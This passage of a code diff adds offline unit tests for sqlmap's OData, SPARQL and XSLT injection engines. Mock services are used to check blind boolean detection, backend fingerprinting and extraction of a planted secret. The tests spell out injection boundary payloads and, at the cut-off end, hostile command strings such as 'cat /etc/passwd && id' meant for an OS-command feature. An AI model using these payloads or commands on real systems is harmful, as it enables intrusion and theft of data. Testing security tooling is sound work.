self.assertEqual(odata._literal(0x5c), "'\\'") + self.assertEqual(odata._literal(ord("a")), "'a'") + + +def _mockSendV23(place, parameter, value, raw=False): + """A v2/v3 service: contains() is an unknown function (400), substringof() is the one that parses.""" + if "contains(" in value: + return "
      Syntax error at position 0. Microsoft.OData
      " if raw else None + return _mockSend(place, parameter, value.replace("substringof('sql','sqlmap')", "1 eq 1"), raw) + + +def _mockSendQuiet(place, parameter, value, raw=False): + """An endpoint that SWALLOWS the service's 400: same boolean oracle, no error surface at all - a + failed $filter is rendered as the ordinary empty result page, error body and status included.""" + expr = "Name eq '%s'" % value + if expr.count("'") % 2: + return _EMPTY + try: + return _render([e for e in _ENTITIES if _eval(e, expr)]) + except _ODErr: + return _EMPTY + + +class TestVersionFingerprintDoesNotCrash(unittest.TestCase): + """Both version probes are EXPECTED to fail on the dialect that does not own them. An unknown + $filter function is a 400 the oracle can only call inconclusive, and that must read as a negative + answer - not as an exception that aborts the scan before the finding is even reported, on exactly + the v2/v3 services the second branch exists to name.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def test_v23_service_is_named_not_fatal(self): + odata._send = _mockSendV23 + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertIsNotNone(oracle) + self.assertEqual(odata._fingerprintVersion(oracle), "v2/v3") + + def test_service_speaking_neither_returns_none(self): + odata._send = lambda place, parameter, value, raw=False: _mockSend( + place, parameter, value.replace("contains('sqlmap','sql')", "unknownfn()"), raw) + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertIsNone(odata._fingerprintVersion(oracle)) + + +class TestErrorSurfaceGate(unittest.TestCase): + """_fieldExists() is an error/no-error split, so on an endpoint that swallows the service's 400 it + answers 'exists' for EVERY name - which reported all 37 candidate properties as reachable and + dumped a wall of empty columns. _hasErrorSurface() tells the two apart in one request.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def _boundary(self): + return odata._detectBoolean(odata.PLACE.GET, "name")[2] + + def test_error_surface_present(self): + odata._send = _mockSend + boundary = self._boundary() + self.assertTrue(odata._hasErrorSurface(odata.PLACE.GET, "name", boundary)) + + def test_error_surface_absent(self): + odata._send = _mockSendQuiet + boundary = self._boundary() + self.assertFalse(odata._hasErrorSurface(odata.PLACE.GET, "name", boundary)) + # the error-based check is useless here - every unknown name looks real + self.assertTrue(odata._fieldExists(odata.PLACE.GET, "name", boundary, "TotallyMadeUp")) + # ...so existence falls through to the boolean oracle, which still separates them. The dump + # must keep working on a blind target, not be surrendered because one probe went blind. + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + self.assertTrue(odata._fieldExistsBlind(oracle, "Id", 1, "Secret")) + self.assertFalse(odata._fieldExistsBlind(oracle, "Id", 1, "TotallyMadeUp")) + + +class TestDetectionAndExtraction(unittest.TestCase): + def setUp(self): + self.saved = odata._send + odata._send = _mockSend + self.savedParams = odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send = self.saved + odata.conf.parameters = self.savedParams + + def test_boolean_detection(self): + template, payload, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertIsNotNone(template) + + def test_confirms_odata(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertTrue(odata._confirmOData(odata.PLACE.GET, "name", boundary)) + + def test_version_fingerprint_v4(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertEqual(odata._fingerprintVersion(oracle), "v4") + + def test_field_existence(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertTrue(odata._fieldExists(odata.PLACE.GET, "name", boundary, "Secret")) + self.assertFalse(odata._fieldExists(odata.PLACE.GET, "name", boundary, "Nope")) + + def test_key_and_entities(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + key, keys = odata._findKeyAndEntities(odata.PLACE.GET, "name", boundary, _EMPTY) + self.assertEqual(key, "Id") + self.assertEqual(keys, [1, 2, 3]) + + def test_blind_field_extraction_reaches_secret(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + self.assertEqual(odata._inferField(oracle, "Id", 1, "Name"), "luther") + self.assertEqual(odata._inferField(oracle, "Id", 1, "Secret"), "S3CR3Tvalue") + + def test_plain_sql_endpoint_not_confirmed(self): + odata._send = lambda place, parameter, value, raw=False: _render(_ENTITIES) # always same + template, _p, _b = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertIsNone(template) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sparql.py b/tests/test_sparql.py new file mode 100644 index 00000000000..3a2ab1d5a7c --- /dev/null +++ b/tests/test_sparql.py @@ -0,0 +1,329 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the SPARQL injection engine. A mock oracle mirrors the boolean-blind +semantics of a real triple store (a broken-out FILTER reduced to its injected predicate), so detection, +SPARQL-only confirmation, error fingerprinting and schema-agnostic blind extraction are exercised +without a live SPARQL endpoint. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.sparql.inject as sparql +from lib.core.settings import SPARQL_ERROR_REGEX + + +# a tiny fixed graph the mock evaluates against +_TRIPLES = ( + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"), + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "luther@example.org"), + ("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"), + # every character class the transport used to mangle or the charset used to alias: + # '&' split the request, '+' arrived as a space, '"' and '\\' were holes in the bisection + ("http://example.org/edge", "http://example.org/raw", 'a&b+c"d\\e()'), +) +_PREDICATES = sorted(set(_[1] for _ in _TRIPLES)) +_OBJECTS = sorted(_[2] for _ in _TRIPLES) + + +def _bind(inner, offset): + if "COUNT(*)" in inner: + return len(_TRIPLES) + if "COUNT(DISTINCT ?p)" in inner: + return len(_PREDICATES) + if "DISTINCT ?p" in inner: + return _PREDICATES[offset] if offset < len(_PREDICATES) else None + if "SELECT ?o" in inner: + return _OBJECTS[offset] if offset < len(_OBJECTS) else None + return None + + +def _cmp(value, expr): + match = re.match(r"^\?v >= (\d+)$", expr) + if match: + return isinstance(value, int) and value >= int(match.group(1)) + match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", expr) + if match: + return len("%s" % value) >= int(match.group(1)) + # the literal may be escaped ('\"' / '\\'), the way a real store receives it + match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', expr) + if match: + pos, ch = int(match.group(1)), match.group(2) + ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch) + text = "%s" % value + return (text[pos - 1] if pos <= len(text) else "") >= ch + return False + + +def _predicate(pred): + pred = pred.strip() + if pred in ("1=1", "(1=1)"): + return True + if pred in ("1=2", "(1=2)"): + return False + if "FILTER(!isIRI(?zo))" in pred: + return False + if pred == "EXISTS { ?zs ?zp ?zo }": + return True + match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred) + if match: + inner, expr = match.group(1).strip(), match.group(2).strip() + off = re.search(r"OFFSET (\d+)", inner) + value = _bind(inner, int(off.group(1)) if off else 0) + return value is not None and _cmp(value, expr) + return False + + +def _evaluate(value): + for quote, tail in (('"', '""!="'), ("'", "''!='")): + marker, suffix = '%s || (' % quote, ') || %s' % tail + if marker in value and value.endswith(suffix): + return _predicate(value.split(marker, 1)[1][:-len(suffix)]) + match = re.match(r"^\d+ \|\| \((.*)\)$", value) # numeric / unquoted slot + if match: + return _predicate(match.group(1)) + if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")): + return "ERROR" + return any(o == value for _s, p, o in _TRIPLES if p.endswith("name")) + + +_ROWS = "
      • luther
      " +_EMPTY = "
        " +_ERROR = "
        Parse error: Lexical error at line 1, column 42.
        " + + +def _mockSend(place, parameter, value, raw=False): + verdict = _evaluate(value) + if verdict == "ERROR": + return _ERROR if raw else None # a 500 is nulled for the oracle, kept for the error probe + return _ROWS if verdict else _EMPTY + + +class TestHelpers(unittest.TestCase): + def test_is_error(self): + self.assertTrue(sparql._isError("Parse error: Lexical error at line 1, column 42.")) + self.assertFalse(sparql._isError("
        • luther
        ")) + + def test_backend_from_error(self): + self.assertEqual(sparql._backendFromError("Lexical error at line 1, column 8."), "Apache Jena / Fuseki") + self.assertEqual(sparql._backendFromError("org.eclipse.rdf4j.query.parser.ParseException"), "RDF4J / GraphDB") + self.assertIsNone(sparql._backendFromError("plain results page")) + + def test_error_regex_matches_real_jena(self): + self.assertIsNotNone(re.search(SPARQL_ERROR_REGEX, "Parse error: Lexical error at line 1, column 136.")) + + +class TestNoAmpersandInvariant(unittest.TestCase): + """A raw '&' in a GET value is the parameter delimiter, so any payload carrying '&&' would be split + in transit and arrive as a truncated query (a 500 that mimics a dead oracle). Every boundary and + attribution predicate must therefore use SPARQL's '||' / two-FILTER conjunction, never '&&'.""" + + def test_boundaries_have_no_ampersand(self): + for row in sparql._BOUNDARY_TABLE: + for field in row[:4]: + self.assertNotIn("&", field, row) + + def test_confirm_predicates_have_no_ampersand(self): + for truePred, falsePred in sparql._SPARQL_PREDICATES: + self.assertNotIn("&", truePred) + self.assertNotIn("&", falsePred) + + def test_send_url_encodes_the_payload(self): + """The boundaries being '&'-free was never enough: the character probes emit '&' (and '+') as + DATA. _send() must URL-encode, or those probes split the request and the bisection is answered + by a truncated query.""" + sent = [] + savedParams, sparql.conf.parameters = sparql.conf.parameters, {sparql.PLACE.GET: "q=luther"} + savedGet = sparql.Request.getPage + sparql.Request.getPage = staticmethod( + lambda **kwargs: (sent.append(sparql.conf.parameters[sparql.PLACE.GET]), "", None, 200)[1:]) + try: + sparql._send(sparql.PLACE.GET, "q", sparql._cmpChar(1, ord("&"))) + finally: + sparql.Request.getPage = savedGet + sparql.conf.parameters = savedParams + self.assertEqual(len(sent), 1) + self.assertNotIn("&", sent[0].split("=", 1)[1], sent[0]) + self.assertIn("%26", sent[0]) + + +class TestCharsetContiguity(unittest.TestCase): + """The character recovery is a lexicographic '>=' BISECTION, so the charset must have no holes. + Excluding a codepoint does not make it come back as '?' - it makes the bisection converge on the + hole's neighbour and report a DIFFERENT character with no warning. '"' and '\\' consequently stay in + the charset and travel as their SPARQL escapes. + + (This replaces an earlier assertion that pinned the opposite - that 0x22/0x5c were EXCLUDED. That + contract was wrong: live against Jena Fuseki it silently decoded 'A&x', 'A)x' and 'A+x' all as + 'A%x'. The gap is the bug, not the fix.)""" + + def test_charset_is_contiguous(self): + self.assertEqual(sparql._CS_ORDS, + list(range(sparql.SPARQL_CHAR_MIN, sparql.SPARQL_CHAR_MAX + 1))) + + def test_meta_characters_travel_escaped(self): + self.assertEqual(sparql._literal(0x22), '"\\""') + self.assertEqual(sparql._literal(0x5c), '"\\\\"') + self.assertEqual(sparql._literal(ord('a')), '"a"') + + def test_every_char_probe_is_a_well_formed_literal(self): + # exactly one opening and one closing quote, everything inside either plain or backslash-escaped + for ordinal in sparql._CS_ORDS: + probe = sparql._cmpChar(1, ordinal) + body = probe.split(">= ", 1)[1] + self.assertTrue(body.startswith('"') and body.endswith('"'), probe) + inner = body[1:-1] + self.assertEqual(inner.replace('\\"', "").replace("\\\\", "").count('"'), 0, probe) + + +def _mockSendNumeric(place, parameter, value, raw=False): + """An UNQUOTED numeric slot: FILTER(?age = ). A string boundary lands a bare word / stray + quote in a term position, which a real store rejects outright - only the numeric shape parses.""" + match = re.match(r"^\d+ \|\| \((.*)\)$", value) + if match: + return _ROWS if _predicate(match.group(1)) else _EMPTY + if value.isdigit(): + return _ROWS + return _ERROR if raw else None # syntax error: nulled for the oracle, kept for the probe + + +class TestNumericBoundary(unittest.TestCase): + """The unquoted numeric/term slot. The base has to be a valid SPARQL TERM there - a random word is + not one, it is a syntax error, so the row as first written could never fire (verified live: the old + shape returned 500 'Lexical error ... after prefix "zzsentinelzz"' from Jena, the new one 200).""" + + def setUp(self): + self.saved, self.savedParams = sparql._send, sparql.conf.parameters + sparql._send = _mockSendNumeric + sparql.conf.parameters = {sparql.PLACE.GET: "age=30"} + sparql.SENTINEL, sparql.NUMBER_SENTINEL = "zzsentinelzz", "961962811" + + def tearDown(self): + sparql._send, sparql.conf.parameters = self.saved, self.savedParams + + def test_numeric_row_uses_a_numeric_base(self): + row = [_ for _ in sparql._BOUNDARY_TABLE if _[4] == sparql._BASE_NUMBER] + self.assertEqual(len(row), 1) + trueBreak, falseBreak, prefix, suffix, _kind = row[0] + boundary = sparql.Boundary(prefix, suffix, sparql._BASE_NUMBER) + self.assertEqual(sparql._base(boundary), "961962811") + # the payload must be a valid term followed by an OR - no quote to close, no paren to re-balance + self.assertEqual(sparql._base(boundary) + trueBreak, "961962811 || (1=1)") + self.assertEqual(sparql._base(boundary) + falseBreak, "961962811 || (1=2)") + self.assertEqual(sparql._wrap(sparql._base(boundary), boundary, "PRED"), "961962811 || (PRED)") + + def test_string_rows_keep_the_word_base(self): + for row in [_ for _ in sparql._BOUNDARY_TABLE if _[4] == sparql._BASE_STRING]: + boundary = sparql.Boundary(row[2], row[3], sparql._BASE_STRING) + self.assertEqual(sparql._base(boundary), "zzsentinelzz") + + def test_numeric_slot_detects_and_extracts(self): + template, payload, boundary = sparql._detectBoolean(sparql.PLACE.GET, "age") + self.assertIsNotNone(template) + self.assertEqual(boundary.base, sparql._BASE_NUMBER) + self.assertTrue(payload.startswith("961962811")) + truth = sparql._makeOracle(sparql.PLACE.GET, "age", boundary) + self.assertIsNotNone(truth) + self.assertEqual(sparql._inferString(truth, sparql._nthObject(0)), _OBJECTS[0]) + + +class TestErrorStatusIsNeverAnOracleSample(unittest.TestCase): + """A 4xx body must be a NON-ANSWER, not a cheap false. Nulling only 5xx let a front-end that serves + its parser failure as a generic 400 feed that body to the oracle, and when it resembled the FALSE + model the bit was decided FALSE instead of INCONCLUSIVE. Measured live: a stored 'A(x' came back as + 'A\'x'. The error probe still needs the body, hence raw=True.""" + + def _sendWithCode(self, code, raw): + savedParams, sparql.conf.parameters = sparql.conf.parameters, {sparql.PLACE.GET: "q=luther"} + savedGet = sparql.Request.getPage + sparql.Request.getPage = staticmethod(lambda **kwargs: ("BODY", None, code)) + try: + return sparql._send(sparql.PLACE.GET, "q", "x", raw=raw) + finally: + sparql.Request.getPage = savedGet + sparql.conf.parameters = savedParams + + def test_4xx_and_5xx_are_nulled_for_the_oracle(self): + for code in (400, 403, 404, 429, 500, 503): + self.assertIsNone(self._sendWithCode(code, raw=False), code) + + def test_2xx_and_3xx_are_usable(self): + for code in (200, 204, 302): + self.assertEqual(self._sendWithCode(code, raw=False), "BODY", code) + + def test_raw_keeps_the_body_for_the_error_probe(self): + for code in (400, 500): + self.assertEqual(self._sendWithCode(code, raw=True), "BODY", code) + + +class TestOriginalValue(unittest.TestCase): + def setUp(self): + self.savedParams = sparql.conf.parameters + self.savedDict = sparql.conf.paramDict + sparql.conf.parameters = {sparql.PLACE.GET: "q=luther"} + + def tearDown(self): + sparql.conf.parameters = self.savedParams + sparql.conf.paramDict = self.savedDict + + def test_reads_and_replaces(self): + self.assertEqual(sparql._originalValue(sparql.PLACE.GET, "q"), "luther") + self.assertEqual(sparql._replaceSegment(sparql.PLACE.GET, "q", "X"), "q=X") + + +class TestDetectionAndExtraction(unittest.TestCase): + def setUp(self): + self.saved = sparql._send + sparql._send = _mockSend + self.savedParams = sparql.conf.parameters + sparql.conf.parameters = {sparql.PLACE.GET: "q=luther"} + sparql.SENTINEL = "zzsentinelzz" + + def tearDown(self): + sparql._send = self.saved + sparql.conf.parameters = self.savedParams + + def test_boolean_detection(self): + template, payload, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertIsNotNone(template) + self.assertEqual(boundary.base, sparql._BASE_STRING) + + def test_confirms_sparql(self): + _t, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertTrue(sparql._confirmSparql(sparql.PLACE.GET, "q", boundary)) + + def test_error_probe_fingerprints_jena(self): + backend, _page = sparql._probeError(sparql.PLACE.GET, "q") + self.assertEqual(backend, "Apache Jena / Fuseki") + + def test_blind_extraction_recovers_objects(self): + _t, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + truth = sparql._makeOracle(sparql.PLACE.GET, "q", boundary) + self.assertIsNotNone(truth) + self.assertEqual(sparql._inferCount(truth, sparql._COUNT_TRIPLES, 10 ** 9), len(_TRIPLES)) + self.assertEqual(sparql._inferCount(truth, sparql._COUNT_PREDICATES, 64), len(_PREDICATES)) + # every seeded object comes back BYTE-FOR-BYTE, including the edge value whose '&', '+', '"' + # and '\' used to be silently rewritten (transport split / charset hole) + for offset, expected in enumerate(_OBJECTS): + self.assertEqual(sparql._inferString(truth, sparql._nthObject(offset)), expected) + self.assertEqual(sparql._inferString(truth, sparql._nthPredicate(0)), _PREDICATES[0]) + + def test_plain_sql_endpoint_is_not_confirmed(self): + # an endpoint where the injected predicate has no effect (always same page) must not confirm + sparql._send = lambda place, parameter, value, raw=False: _ROWS + template, _p, boundary = sparql._detectBoolean(sparql.PLACE.GET, "q") + self.assertIsNone(template) # no true/false divergence -> not even boolean-detected + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xslt.py b/tests/test_xslt.py index 20e7645b8df..31d226f3371 100644 --- a/tests/test_xslt.py +++ b/tests/test_xslt.py @@ -24,7 +24,10 @@ bootstrap() from lib.core.settings import XSLT_ERROR_REGEX -from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_BRIDGES +from lib.core.settings import XSLT_BRIDGE_PHP +from lib.core.settings import XSLT_BRIDGE_JAVA +from lib.core.settings import XSLT_ADVISORY_PROBES from lib.core.settings import XSLT_VENDOR_PROPERTIES from lib.core.settings import XQUERY_CAPABILITY_PROBES from lib.core.settings import XQUERY_FILE_READ @@ -55,6 +58,48 @@ def test_both_slots_are_probed(self): self.assertEqual([_ for _, __ in _xslt._BUILDERS], [_xslt.CONTEXT_ELEMENT, _xslt.CONTEXT_VALUE]) +class XsltAttributeEscapingTest(unittest.TestCase): + """Every slot lands inside select="...". XPath 1.0 has no escape character, so _quote() falls back + to DOUBLE quotes for any value holding an apostrophe - and unescaped those terminate the attribute, + the stylesheet never compiles, and the probe silently returns nothing. Live against libxslt that + was '--os-cmd="echo \'hi\'"' reporting "no output captured", and '--file-read' of a path with an + apostrophe or an '&' failing while the same file at a plain path read fine.""" + + # command / path what makes it hostile + HOSTILE = ("echo 'hello world'", # apostrophes -> _quote uses "..." + "grep -r 'x' /etc", + "/tmp/o'brien.xml", + "/tmp/a&b.xml", # bare '&' ends the attribute value + "cat /etc/passwd && id", + "/tmp/